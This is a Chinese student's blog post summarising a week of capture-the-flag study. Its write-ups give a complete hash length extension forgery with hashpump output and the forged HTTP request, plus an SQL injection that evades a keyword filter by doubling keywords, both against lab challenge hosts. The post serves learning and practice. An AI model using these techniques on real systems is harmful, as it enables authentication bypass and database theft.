Secat's Blog

学习·记录

这世界变化快的真是铃儿响叮当


第十二周总结

第十二周总结

0x00 本周所学

1.了解hash长度攻击
2.安装ubuntu和hashpump(没错这次装东西又遇到了奇怪的问题但已解决)
3..git文件泄露,注释脚本
4.ISCC的web和实验吧上的web 5.sqlmap基本了解
6.菜刀的简单使用(做的web题没连上,代码传上去之后没被解析T_T,还在继续做)

0x01 本周心得

菜得不想说话…

0x02 部分题目记录

hash200

这题得益于P神的一篇关于hash长度攻击的博客。按照博客上的讲述,百度并安装了hashpump(安装过程稍有曲折唉),具体过程如下:
01.截包找值

Cookie: sample-hash=be7413992c7e8541aa530688ddbbcc00    
这里md5($secret."adminadmin")=be7413992c7e8541aa530688ddbbcc00

02.稍微整理下我们已经知道的:

$secret是密文,长度为15,如果再算上后面第一个admin,长度就是20
而数据是admin
签名(哈希值)是be7413992c7e8541aa530688ddbbcc00

02.将截获的值结合网页源代码放进hashpump跑一下

wreckingball@wreckingball-virtual-machine:~$ hashpump
Input Signature: be7413992c7e8541aa530688ddbbcc00
Input Data: admin
Input Key Length: 20
Input Data to Add: doge
cc28c70b200c7f4e01383dcc11d75e5b
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00doge

03.其中输出第一行的字符串一个是新的签名,把它设置到cookies的getmein里,并且把后面的几行十六进制字符串里面的反斜杠和x换成%以post方式提交,getflag~

request:

POST /hash/ HTTP/1.1
Host: 192.168.211.14
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Cookie: getmein=cc28c70b200c7f4e01383dcc11d75e5b
Connection: close
Upgrade-Insecure-Requests: 1

username=admin&password=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00doge

response:

HTTP/1.1 200 OK
Server: nginx/1.10.0 (Ubuntu)
Date: Wed, 10 May 2017 15:34:29 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 92

Congratulations! You are a registered user.
The flag is SKCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

最简单的注入’s

又在实验吧上把这题做了一遍,发现了另一种姿势:在过滤了关键字后可以尝试着重复输入的方法去提交,比如:

http://ctf5.shiyanbar.com/423/web/index.php?id=1' unionunion  selectselect  flag fromfrom  flag wherewhere '1'='1

得到以下:

ID: 1' union select flag from flag where'1'='1
name: baloteli

ID: 1' union select flag from flag where'1'='1
name: flag{Y0u_@r3_5O_dAmn_90Od}

Web签到题,来和我换flag啊!100

其实挺简单的吧。查看源代码发现用POST方法,然而不知道究竟该post啥,抓包看到hiddenflag变量和&符号,分别让他们等于f1ag,flag就给你啦

hiddenflag=f1ag&flag=f1ag&FLAG=f1ag

THANKS

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持

^_^